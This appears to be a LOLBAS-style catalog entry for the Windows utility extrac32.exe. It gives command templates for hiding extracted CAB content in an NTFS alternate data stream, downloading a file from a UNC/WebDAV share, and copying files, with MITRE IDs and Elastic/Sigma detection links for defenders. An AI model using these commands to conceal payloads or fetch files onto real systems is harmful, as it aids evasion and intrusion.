Extrac32.exe

Extracts the source CAB file into an Alternate Data Stream (ADS) of the target file.

Use Extract data from cab file and hide it in an alternate data stream.

extrac32 {PATH_ABSOLUTE:.cab} {PATH_ABSOLUTE}:file.exe

Evidence

Upstream reference

Environment

Local host

Context

user

Native

ADS

MITRE

T1564.004

Detection

Elastic: github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_misc_lolbin_connecting_to_the_internet.toml

Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_extrac32.yml

Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_extrac32_ads.yml

Refs

oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/

gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f

twitter.com/egre55/status/985994639202283520

lolbas-project.github.io/lolbas/Binaries/Extrac32/

Extracts the source CAB file on an unc path into an Alternate Data Stream (ADS) of the target file.

Use Extract data from cab file and hide it in an alternate data stream.

extrac32 {PATH_ABSOLUTE:.cab} {PATH_ABSOLUTE}:file.exe

Evidence

Upstream reference

Environment

Local host

Context

user

Native

ADS

MITRE

T1564.004

Detection

Elastic: github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_misc_lolbin_connecting_to_the_internet.toml

Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_extrac32.yml

Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_extrac32_ads.yml

Refs

oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/

gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f

twitter.com/egre55/status/985994639202283520

lolbas-project.github.io/lolbas/Binaries/Extrac32/

Copy the source file to the destination file and overwrite it.

Use Download file from UNC/WEBDav

extrac32 /Y /C {PATH_SMB} {PATH_ABSOLUTE}

Evidence

Upstream reference

Environment

Local host

Context

user

Native

Download

MITRE

T1105

Detection

Elastic: github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_misc_lolbin_connecting_to_the_internet.toml

Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_extrac32.yml

Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_extrac32_ads.yml

Refs

oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/

gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f

twitter.com/egre55/status/985994639202283520

lolbas-project.github.io/lolbas/Binaries/Extrac32/

Command for copying file from one folder to another

Use Copy file

extrac32.exe /C {PATH_ABSOLUTE:.source.exe} {PATH_ABSOLUTE:.dest.exe}

Evidence

Upstream reference

Environment

Local host

Context

user

Native

Copy

MITRE

T1105

Detection

Elastic: github.com/elastic/detection-rules/blob/12577f7380f324fcee06dab3218582f4a11833e7/rules/windows/defense_evasion_misc_lolbin_connecting_to_the_internet.toml

Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_extrac32.yml

Sigma: github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_extrac32_ads.yml

Refs

oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/

gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f

twitter.com/egre55/status/985994639202283520

lolbas-project.github.io/lolbas/Binaries/Extrac32/